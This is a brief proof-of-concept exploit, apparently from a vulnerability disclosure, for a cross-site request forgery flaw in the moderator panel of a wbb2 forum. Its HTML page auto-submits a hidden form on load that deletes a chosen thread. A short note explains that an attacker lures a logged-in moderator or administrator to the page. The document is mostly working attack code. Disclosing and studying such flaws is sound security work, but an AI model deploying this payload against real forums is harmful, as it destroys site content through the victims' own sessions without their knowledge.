Code:
<html>
<head>
</head>
<body onLoad="javascript:document.it.submit()">
<form action="http://localhost/xampp/wbb2/modcp.php"; method="post" name="it">
<input type="hidden" name="action" value="thread_del" />
<input type="hidden" name="threadid" value="5" /> <!-- Here the thread-id -->

<input type="hidden" name="send" value="send" />
<input type="hidden" name="sid" value="" />
<input type="submit" accesskey="S" value="Ja" class="input" />
</body>
</html> 


An attacker can send a link to a site with this code to a 
moderator/administrator and then the thread with the threadid are going to be 
deleted, when the mod/admin is logged in. 

(Sorry for my bad english ;-) )
